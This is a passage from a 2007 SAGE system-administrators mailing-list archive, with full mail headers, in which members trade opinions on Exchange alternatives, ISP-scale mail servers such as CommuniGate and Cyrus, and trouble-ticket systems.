schedules, resource scheduling, etc.  So I'm trying to find a good
alternative before I get the dreaded request to install Exchange.  So
far I've been looking at Scalix 11 and Zimbra 4.5.  So far Zimbra is
looking very nice, and I'm leaning that way.  Here is a quick list of
requirements:

- Only about 100 users right now, and probably only a growth of 50 a
year at most.
- No MS
- Email accounts and aliases
- Support for 200+ domains
- Mailing lists
- Wildcard addresses (user-*@domain.com)
- Calendars with ability to invite other users to events
- Ability to schedule resources (mainly conference rooms)
- Be able to see free/busy for people/resources when scheduling
- Shared Contacts.
- Works across 3 major platforms (Windows, MacOS X, Linux)

Bonuses:
- Outlook integration
- Apple iSync integration
- Webmail

With that said, Zimbra fits the bill almost perfectly.  I especially
like the fact that it's based on Postfix, and other open source
projects.  However, I am leary of major parts of it (webmail, POP, SMTP,
IMAP) running in Tomcat.

I also looked at Open-Xchange, but was turned off by the interface.

So does anyone have any experience with something like this?  Any
good/bad notes about Zimbra?  Any other projects that I'm not including?

Thanks,
Nate


From sage-members-owner@usenix.org Tue Mar  6 09:23:00 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26HMwpW026056
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 09:22:59 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26HMwQb026055
	for sage-members-0utGoign; Tue, 6 Mar 2007 09:22:58 -0800 (PST)
Received: from smtp.swarpa.net (melfpelt.swarpa.net [70.84.200.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26HMfPS026033
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 09:22:51 -0800 (PST)
Received: from [209.40.87.185] (unknown [209.40.81.3])
	by smtp.swarpa.net (Postfix) with ESMTP id 98113124E47
	for <sage-members@usenix.org>; Tue,  6 Mar 2007 12:22:39 -0500 (EST)
Message-ID: <45EDA35F.9000000@hovenweep.org>
Date: Tue, 06 Mar 2007 09:22:39 -0800
From: Rowan Littell <rowan@hovenweep.org>
User-Agent: Thunderbird 1.5.0.10 (Macintosh/20070221)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] ISP class e-mail server
References: <45ED676A.1000908@geekbunker.org>
In-Reply-To: <45ED676A.1000908@geekbunker.org>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-DCC--Metrics: voyager 104; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Rodrigo Campos wrote:
> Hi,
> 
> I'm looking for an isp class e-mail server, capable of handling millions
> of e-mail accounts per domain.
> 
> The requisites are support for pop3/imap4/smtp and it must be able to
> handle Gigabyte mailboxes. It must run on (preferably) Linux or Solaris
> on Intel servers, on a SAN environment (probably EMC or HDS).
> 
> I'm currently evaluating Critical Path and Communigate, maybe some of
> you have experience with these softwares or could recommend any others.

I'm afraid I can't keep my mouth shut here, even though I'm going to
concur with the folks that have already spoken.  At my current
workplace, we run CommuniGate, and while I grant you that it's not the
most recent version, it is currently one of the biggest banes of my
existence (although I'm sure Cat and Chris will nod firmly when I say
the our PIXen and OpenDirectory are the others).

CommuniGate was, I'm sure, designed to be an enterprise class system.
It's got vestigial features of such a design goal.  However, in the
release I'm familiar with, somewhere along its evolution, the design
goals changed from "enterprise class mail server" to "Exchange/Notes
competitor".  And, well, when you aim for the mediocre, you're bound to
fall short.  I won't regale you with all of my complaints against its
person, since I don't want to be the cause of mass bleeding from the
eyeballs by the list membership; if you're quite curious, contact me
off-list.

CommuniGate does speak POP3, IMAP4, and SMTP, but you'll want to be very
clear about what your goals are.  In my estimation, it does all of these
passably, but none of them extremely well.  It's a classic case of the
all-in-one design, rather than choosing the best of breed for each and
tying them together with standard protocols.

The subject line of this message suggests ISP -- how do most of your
customers get their mail?  Choose something that does that well
(although, frankly, it's hard to screw up POP3, except when used in
combination with IMAP4).  CommuniGate includes a webmail interface which
I have no love for (though I'm not known for my overabundance of webmail
love), however certain functions are only possible within that webmail
system (or from their perl API).  Where are your users' directory
information and authentication credentials stored?  CommuniGate will
probably talk to it, if it's not within CommuniGate itself, but its
support for external authentication systems is rudimentary, at best.

Regarding gigabyte mailboxes, you're best if you look elsewhere.
CommuniGate's mailstore is an unevolved version of the maildir idea.  It
has no indexing, and to get adequate performance on large mailboxes
you'll want to use the most advanced directory hashing filesystem on the
fastest SAN you can get your hands on.  I currently have a little over
1100 messages (32mb total) in my inbox, and it takes around 20-30
seconds to search those by sender via IMAP.  I really hate to think what
a mailbox over 100mb would act like.

For operating system support, you're golden.  It does run just about
everywhere, and it will happily put its mailstore on whatever filesystem
on whatever SAN you throw at it.  But if you can get a real mail server
on the same hardware and OS, why not do that instead?

Full disclosure here -- I came to my current workplace having just
finished up a transition to Cyrus on Solaris with a VxFS as the
filesystem, and the freedom it gave me to mold it to my environment and
get it to sing, dance, and play to my wishes was enormous.  CommuniGate
doesn't give you that kind of flexibility, from what I've seen -- it's a
reasonably good idea that was severely hobbled by lack of follow through
and (what I consider) inappropriate market goals.

  --rowan


From sage-members-owner@usenix.org Tue Mar  6 10:06:14 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26I67L4027185
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 10:06:13 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26I67nF027184
	for sage-members-0utGoign; Tue, 6 Mar 2007 10:06:07 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.189])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26I5qiL027173
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 10:06:04 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id q29so2289169nfc
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 10:05:45 -0800 (PST)
Received: by 10.78.200.3 with SMTP id x3mr824266huf.1173203913267;
	Tue, 06 Mar 2007 09:58:33 -0800 (PST)
Received: by 10.78.153.11 with HTTP; Tue, 6 Mar 2007 09:58:33 -0800 (PST)
Message-ID: <ce40d2f80703060958n12645f48uc777d1f7b71debe1@mail.gmail.com>
Date: Tue, 6 Mar 2007 12:58:33 -0500
From: "Gilbert Wilson" <gilbert@watchhouse.org>
To: Nate <nate@seekio.com>
Subject: Re: [SAGE] Exchange work-alikes
Cc: sage-members@usenix.org
In-Reply-To: <45EDA096.5010200@seekio.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45EDA096.5010200@seekio.com>
X-DCC--Metrics: voyager 1356; Body=2 Fuz1=2 Fuz2=2 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 3/6/07, Nate <nate@seekio.com> wrote:
> I've been doing some research on email/calendar/contact systems similar
> to exchange, and was wondering if anyone had any opinions.  Luckily, we
> do not currently run Exchange, rather a qmail/vpopmail setup that's
> showing its age.  Our company is getting large enough now that we need
> some groupware functionality, specifically calendars for meeting
> schedules, resource scheduling, etc.  So I'm trying to find a good
> alternative before I get the dreaded request to install Exchange.

Have you thought about alternatives to email-centric groupware system?
 For example, a wiki or other intranet system?  I ask because once you
go down Outlook integration it's really hard to go back... and, if
you're email system works, why replace it with something else
entirely?  Find another tool that fits the function beyond email.
Your email needs are met, don't change it!

An example system would be something like Atlassian's Confluence
(enterprise wiki),

http://www.atlassian.com/software/confluence/

Personally, I hate the focus on email programs as an organizing tool
because email (at least mine) is inherently disorganized thanks to the
shear volume of messages (real messages mixed with spam, in turn mixed
with real messages that are pretty much spam, too.).

Email is disposable, project planning and collaboration shouldn't be
disposable, or at least built on systems that rely on disposable
communication...

I guess I would compare my complaints about email groupware systems to
trying to organize help tickets through your email inbox instead of
RT.  Sure, email is great for the disposable reminder or notification,
but not actual orderly, clear, collaboration within a business.

Since your clients haven't asked for Exchange, yet, tread carefully! :c)

Gil


From sage-members-owner@usenix.org Tue Mar  6 10:23:03 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26IN2m7027722
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 10:23:02 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26IN25p027720
	for sage-members-0utGoign; Tue, 6 Mar 2007 10:23:02 -0800 (PST)
Received: from web82407.mail.mud.yahoo.com (web82407.mail.mud.yahoo.com
	[209.191.86.177])
	by usenix.org (8.13.6/8.13.6) with SMTP id l26IMgot027699
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 10:22:47 -0800 (PST)
Received: (qmail 89431 invoked by uid 60001); 6 Mar 2007 18:15:57 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=sbcglobal.net;
	h=X-YMail-OSG:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID;
	b=hrkfXs+qCgafvTnoaPTMXoTBo9jt8j+EqHRIa/Dh0YHr/P58U3El/5d+JzDXEFnBWFWrS42lXueA4lscAbVgj8fAekj6lFx/7flHE6MpyjmvjH6uqZwU02NyGT7XQXVUq0vzEdEuPfzpdY6hlfe/YGyeAZvmp3pwdi8eDFcCkWU=;
X-YMail-OSG: psJTQWwVM1nnwFRUL0KWIurPUK5wwF7RzLt3.GCMjVBJj_inT8ZoU57C4h.OfLzFtgOBzWF3D6MyNkjodJeZVo.IUG5TPDuYZZt5kN4xDOYXXnoYVEBYkQ--
Received: from [12.168.82.2] by web82407.mail.mud.yahoo.com via HTTP;
	Tue, 06 Mar 2007 10:15:57 PST
Date: Tue, 6 Mar 2007 10:15:57 -0800 (PST)
From: Stuart Krivis <stuartk-eml@sbcglobal.net>
Reply-To: stuart@krivis.com
Subject: Re: [SAGE] Exchange work-alikes
To: sage-members@usenix.org
In-Reply-To: <45EDA096.5010200@seekio.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <405106.88574.qm@web82407.mail.mud.yahoo.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=11%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--- Nate <nate@seekio.com> wrote:


> far I've been looking at Scalix 11 and Zimbra 4.5. 

http://www.postpath.com/

> projects.  However, I am leary of major parts of it
> (webmail, POP, SMTP,
> IMAP) running in Tomcat.

What's so bad about Tomcat?


> 
> I also looked at Open-Xchange, but was turned off by
> the interface.

Which interface? The one the users see, or the one for
administration?


From sage-members-owner@usenix.org Tue Mar  6 10:23:43 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26INhSk027802
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 10:23:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26INhEA027800
	for sage-members-0utGoign; Tue, 6 Mar 2007 10:23:43 -0800 (PST)
Received: from web82412.mail.mud.yahoo.com (web82412.mail.mud.yahoo.com
	[209.191.86.181])
	by usenix.org (8.13.6/8.13.6) with SMTP id l26INZuI027785
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 10:23:40 -0800 (PST)
Received: (qmail 35314 invoked by uid 60001); 6 Mar 2007 18:16:48 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=sbcglobal.net;
	h=X-YMail-OSG:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID;
	b=OJCrDlqFISNbjqHzxMpps4f4PiDtRhP7C51qxOH13vx0zhcn3ek32VYqW1MlHPDbWU0cNVMtJJds7hfTBnJD7eWfXJERFfNL3tPkt1EQBk+3jja2IyL7tUTMN/bY2swXU3RylG5xmNbIcX8/NItj24etTp4TP6vmjT2AFgY6FeM=;
X-YMail-OSG: k7uTUJUVM1mdTSOzpqone75ntLRkeUa_iraoMnNcb7pDr5HeeiYbLJvbUbg0XUbmWm_eZSm5m_hpbe93hjPVtrs8yiChAdwcGcdUG9iEDLuvoUFUCunXLdmzVwtpL_8Ax5X31oXn_Dh2co8-
Received: from [12.168.82.2] by web82412.mail.mud.yahoo.com via HTTP;
	Tue, 06 Mar 2007 10:16:48 PST
Date: Tue, 6 Mar 2007 10:16:48 -0800 (PST)
From: Stuart Krivis <stuartk-eml@sbcglobal.net>
Reply-To: stuart@krivis.com
Subject: Re: [SAGE] ISP class e-mail server
To: sage-members@usenix.org
In-Reply-To: <45EDA35F.9000000@hovenweep.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <54623.34364.qm@web82412.mail.mud.yahoo.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=10%
Sender: owner-sage-members@usenix.org
Precedence: bulk


--- Rowan Littell <rowan@hovenweep.org> wrote:


> 
> Regarding gigabyte mailboxes, you're best if you
> look elsewhere.
> CommuniGate's mailstore is an unevolved version of
> the maildir idea.  It
> has no indexing, and to get adequate performance on

They must have changed things then.

The last time I looked at it, you could pick between
maildir and mailbox format. They also claimed to have
indexing. They seemed to be pushing the mailbox format
over maildir too, since it wastes less space.

I do agree that they lost focus and tried to make it
do everything. I think there was some validity to
their "everything's an IMAP folder" idea for tacking
on calendaring, SMS, and other stuff, but it seemed
like they just kept adding features instead of
finishing work on the ones they already had.

I will say that it seems like Communigate is either a
product that you swear by or swear at. I know a couple
of people who love it, although they admittedly do not
have 1 million mailboxes on their systems either. (I
think the largest of the two has 15,000 users.)

I found that it _is_ a rather closed system and not
nearly as extensible as some of the other MTAs and
mailstores mentioned.


From sage-members-owner@usenix.org Tue Mar  6 10:24:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26IO0ft027872
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 10:24:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26IO0BD027870
	for sage-members-0utGoign; Tue, 6 Mar 2007 10:24:00 -0800 (PST)
Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26INhtl027794
	for <sage-members@sage.org>; Tue, 6 Mar 2007 10:23:53 -0800 (PST)
Received: from sj-dkim-1.cisco.com ([171.71.179.21])
	by sj-iport-3.cisco.com with ESMTP; 06 Mar 2007 10:23:35 -0800
X-IronPort-AV: i="4.14,255,1170662400"; 
	d="scan'208"; a="468832994:sNHT1758272222"
Received: from sj-core-1.cisco.com (sj-core-1.cisco.com [171.71.177.237])
	by sj-dkim-1.cisco.com (8.12.11/8.12.11) with ESMTP id l26INYw4025851; 
	Tue, 6 Mar 2007 10:23:34 -0800
Received: from [171.71.87.134] (dhcp-171-71-87-134.cisco.com [171.71.87.134])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id l26IN9dv013499;
	Tue, 6 Mar 2007 18:23:23 GMT
Message-ID: <45EDB188.6030901@chycoski.com>
Date: Tue, 06 Mar 2007 10:23:04 -0800
From: Richard Chycoski <rskiadmin@chycoski.com>
Reply-To: rskiadmin@chycoski.com
User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: John Stoffel <john@stoffel.org>
CC: "Paul M. Moriarty" <pmm@igtc.com>,
	Allan Poindexter <dex@network-science.net>, sage-members@sage.org
Subject: Re: [SAGE] work ticket systems
References: <82wt1zevjz.fsf@clanspum.net>	<20070302200558.GL8472@igloo.igtc.com>
	<17901.39851.404297.722220@smtp.charter.net>
In-Reply-To: <17901.39851.404297.722220@smtp.charter.net>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Authentication-Results: sj-dkim-1; header.From=rskiadmin@chycoski.com;
	dkim=neutral
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk



John Stoffel wrote:

> To me, the biggest reason to have a trouble ticket system is to make
> sure that requests from your end-users are not lost and forgotten, and
> so that you know which admin(s) are working on an issue.  Or not.  
> 
> So making this as simple and as transparent to the user AND to the
> sysadmin is vital.  

This is the sysadmin (and often the clients') view of the reason to have a 
trouble ticket system. Neither of these groups usually have the power to 
implement or pay for the system (especially in larger organisations). 
Therefore, they lose. ;-)

> 
> I really cannot see why a ticket system needs to be so complicated.
> Now some people say that they need to track SLAs, work done
> per-ticket, number of tickets closed per-admin, number of high,
> medium, low priority tickets, number of tickets for PCs, for Unix, for
> password resets (unix or PC?  Which one is it?), etc.  
> 
> That's all extraneous garbage in my mind.  Quick, accurate feedback to
> the end users that someone has received their problem, and that it
> will get looked at is all most people want.  And which RT (in my mind
> at least) did such a great job at.  It facilitated this flow of
> communication between the users and the sysadmins, while not getting
> in the way.  
> 
> John

Except that the 'powers that be' (those with the money and get to decide how 
it is spent) want exactly all of this from their trouble ticket systems, and 
often go to great lengths to try (note: they rarely succeed) to extract all of 
this oh-so-meaningful data to justify the salaries of staff working on the 
incidents.

In my view, the real problem is that when the trouble ticket system is 
configured to give the maximum amount of stats to management it usually 
creates the largest amount of overhead for the staff who enter and service the 
tickets. When the trouble ticket system is configured for maximum stats 
gathering it gets so painful to enter a ticket 'correctly' that staff figure 
out workarounds that can cause the data being gathered to become garbage.

To satisfy management, clients, and the staff working on problems there really 
needs to be balance - 'tune for minimum smoke', but, unfortunately, those with 
the money usually get to make the rules and hence when spending lots of money 
to implement Remedy/Clarify/whatever they go overboard in the reporting and 
mostly ignore the overhead being incurred. They don't realise that in doing so 
they're not getting the good data that they desire.

I've used both Clarify and Remedy, and talked to people at other sites that 
have used both - some sysadmins curse both of these packages, others find them 
  quite useful - and from what I've been able to determine, it's not the 
packages, it's the decisions made about metrics gathering during installation 
that have caused the most pain. The same is going to be true for any ticketing 
package. Some also do not scale to larger organisations, but that's a separate 
problem.

If you can get managment to agree on a lighter-weight reporting strategy, I 
believe that you will be 80% of the way to being able to implement a trouble 
ticket system that both the clients and sysadmins can live with. If not, 
almost nothing that you can implement today will be pleasant for either.

Having done some of the data dredging myself, I've also discovered that 
management rarely uses the finely-detailed data that's been gathered (and have 
been surprised that their metrics generators were inaccurate). What you might 
do to convince them is to simulate some reports from example data that give 
management some reasonable metrics so that they can see that your proposed 
tool gives them the warm-and-fuzzies that they need to sleep at night (and to 
fight for the budget to keep you employed :-).

- Richard


From sage-members-owner@usenix.org Tue Mar  6 10:51:22 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26IpMrv028973
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 10:51:22 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26IpLK6028972
	for sage-members-0utGoign; Tue, 6 Mar 2007 10:51:22 -0800 (PST)
Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.238])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26Iortl028961
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 10:51:06 -0800 (PST)
Received: by wr-out-0506.google.com with SMTP id 70so3091936wra
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 10:50:53 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=BgksLIwlmYBvztHni/NJDi7zIZxJM2On7rfC9maqv75JMZKgb7MXsUUF0ibyZ/T0JVXaLyS2SdRRCL612wOfaC2+Vbs3IBYt0wVDvIHfBiIB6j6w/0JMYpApPg5vV8a0zTFqkSvPlI0FxPra2CBu1wmz/p/1jeAdVoMoB7foRo4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=nIi32s1lCI6ne9rPF0wfoUbDCIenMZEujZk9MjklspncUG6r0g3aX8j2gPRJJXG18jhWq8aRnPP1iN7v8cQFvMaBK6WJ12Mrw+/sQA2952LN/AsUDdVDFWnIyxMJ3K3w9yrtXoZTIpygibYaFqgvlO/ALiiHIPSucFYqOyrkK2Y=
Received: by 10.114.136.1 with SMTP id j1mr1841305wad.1173205564797;
	Tue, 06 Mar 2007 10:26:04 -0800 (PST)
Received: by 10.114.77.19 with HTTP; Tue, 6 Mar 2007 10:26:04 -0800 (PST)
Message-ID: <a9f4a3860703061026i7de67981ybfb07097906be1eb@mail.gmail.com>
Date: Tue, 6 Mar 2007 10:26:04 -0800
From: "Kurt Buff" <kurt.buff@gmail.com>
To: Nate <nate@seekio.com>
Subject: Re: [SAGE] Exchange work-alikes
Cc: sage-members@usenix.org
In-Reply-To: <45EDA096.5010200@seekio.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45EDA096.5010200@seekio.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I'm looking at both egroupware and openxchange. egroupware looks
especially interesting, from the demo I've played with.

Kurt

On 3/6/07, Nate <nate@seekio.com> wrote:
> I've been doing some research on email/calendar/contact systems similar
> to exchange, and was wondering if anyone had any opinions.  Luckily, we
> do not currently run Exchange, rather a qmail/vpopmail setup that's
> showing its age.  Our company is getting large enough now that we need
> some groupware functionality, specifically calendars for meeting
> schedules, resource scheduling, etc.  So I'm trying to find a good
> alternative before I get the dreaded request to install Exchange.  So
> far I've been looking at Scalix 11 and Zimbra 4.5.  So far Zimbra is
> looking very nice, and I'm leaning that way.  Here is a quick list of
> requirements:
>
> - Only about 100 users right now, and probably only a growth of 50 a
> year at most.
> - No MS
> - Email accounts and aliases
> - Support for 200+ domains
> - Mailing lists
> - Wildcard addresses (user-*@domain.com)
> - Calendars with ability to invite other users to events
> - Ability to schedule resources (mainly conference rooms)
> - Be able to see free/busy for people/resources when scheduling
> - Shared Contacts.
> - Works across 3 major platforms (Windows, MacOS X, Linux)
>
> Bonuses:
> - Outlook integration
> - Apple iSync integration
> - Webmail
>
> With that said, Zimbra fits the bill almost perfectly.  I especially
> like the fact that it's based on Postfix, and other open source
> projects.  However, I am leary of major parts of it (webmail, POP, SMTP,
> IMAP) running in Tomcat.
>
> I also looked at Open-Xchange, but was turned off by the interface.
>
> So does anyone have any experience with something like this?  Any
> good/bad notes about Zimbra?  Any other projects that I'm not including?
>
> Thanks,
> Nate
>


From sage-members-owner@usenix.org Tue Mar  6 11:15:34 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26JFQMt029752
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 11:15:26 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26JFQRS029751
	for sage-members-0utGoign; Tue, 6 Mar 2007 11:15:26 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26JFEgb029743
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 11:15:15 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26JFEWa029742
	for sage-members@usenix.org; Tue, 6 Mar 2007 11:15:14 -0800 (PST)
Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26FpQQE023209
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 07:51:39 -0800 (PST)
Received: by ug-out-1314.google.com with SMTP id 32so246582ugm
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 07:51:25 -0800 (PST)
Received: by 10.67.92.1 with SMTP id u1mr1939479ugl.1173196285391;
	Tue, 06 Mar 2007 07:51:25 -0800 (PST)
Received: from ?192.168.1.102? ( [82.227.169.239])
	by mx.google.com with ESMTP id 32sm878744ugf.2007.03.06.07.51.23;
	Tue, 06 Mar 2007 07:51:24 -0800 (PST)
In-Reply-To: <45ED676A.1000908@geekbunker.org>
References: <45ED676A.1000908@geekbunker.org>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <D2119F0F-285B-4EF8-850D-EB5B1FEEB5CF@microcost.com>
Cc: sage-members@usenix.org
Content-Transfer-Encoding: 7bit
From: Sam Johnston <sam.johnston@microcost.com>
Subject: Re: [SAGE] ISP class e-mail server
Date: Tue, 6 Mar 2007 16:51:21 +0100
To: Rodrigo Campos <rodrigo@geekbunker.org>
X-Mailer: Apple Mail (2.752.3)
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mar 6, 2007, at 2:06 PM, Rodrigo Campos wrote:

> I'm looking for an isp class e-mail server, capable of handling  
> millions of e-mail accounts per domain.

Google Apps (http://google.com/a/)?

  - samj

-- 
Sam Johnston
CTO
Microcost


From sage-members-owner@usenix.org Tue Mar  6 15:04:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26N3wi6004476
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 15:03:58 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26N3viW004475
	for sage-members-0utGoign; Tue, 6 Mar 2007 15:03:58 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26N3HUD004457
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 15:03:28 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id q29so2378937nfc
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 15:03:16 -0800 (PST)
Received: by 10.82.186.5 with SMTP id j5mr8046917buf.1173222195799;
	Tue, 06 Mar 2007 15:03:15 -0800 (PST)
Received: from ?192.168.1.102? ( [82.227.169.239])
	by mx.google.com with ESMTP id c10sm27832437nfb.2007.03.06.15.03.14;
	Tue, 06 Mar 2007 15:03:15 -0800 (PST)
In-Reply-To: <45EDA096.5010200@seekio.com>
References: <45EDA096.5010200@seekio.com>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
Cc: sage-members@usenix.org
Content-Transfer-Encoding: 7bit
From: Sam Johnston <samj@samj.net>
Subject: Re: [SAGE] Exchange work-alikes
Date: Wed, 7 Mar 2007 00:03:12 +0100
To: Nate <nate@seekio.com>
X-Mailer: Apple Mail (2.752.3)
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Nate,

I know I've said this once already today but what about Google Apps  
(http://google.com/a/)? You get 2Gb mailboxes per user for free or  
10Gb for 50 bucks a year and it only takes 60 seconds to set up  
(proof: http://www.youtube.com/watch?v=QhLyiuDKNrU).

It should meet all of your requirements too (including bonus ones):

  - there is no preset user account limit
  - no MS required (but you can of course access your mail via POP3)
  - currently provides email accounts and aliases as well as a host  
of other features (any services Google provides are potential  
candidates for future inclusion too)
  - supports alias domains and i'm not aware of any limit on the number
  - has basic mailing lists which i am sure will improve over time
  - supports wildcards (user+wildcard@domain)
  - excellent web based calendars with ability to invite external  
users seamlessly
  - ability to schedule resources (premium edition only)
  - decent ajax free/busy dialog
  - shared contacts
  - works with most browsers (windows, linux, os x)
  - can integrate with outlook via pop and sync tools
  - integrates with isync via spanningsync
  - excellent webmail (Gmail)

Hope this helps,

Sam

-- 
Sam Johnston
CTO
Microcost

On Mar 6, 2007, at 6:10 PM, Nate wrote:

> I've been doing some research on email/calendar/contact systems  
> similar
> to exchange, and was wondering if anyone had any opinions.   
> Luckily, we
> do not currently run Exchange, rather a qmail/vpopmail setup that's
> showing its age.  Our company is getting large enough now that we need
> some groupware functionality, specifically calendars for meeting
> schedules, resource scheduling, etc.  So I'm trying to find a good
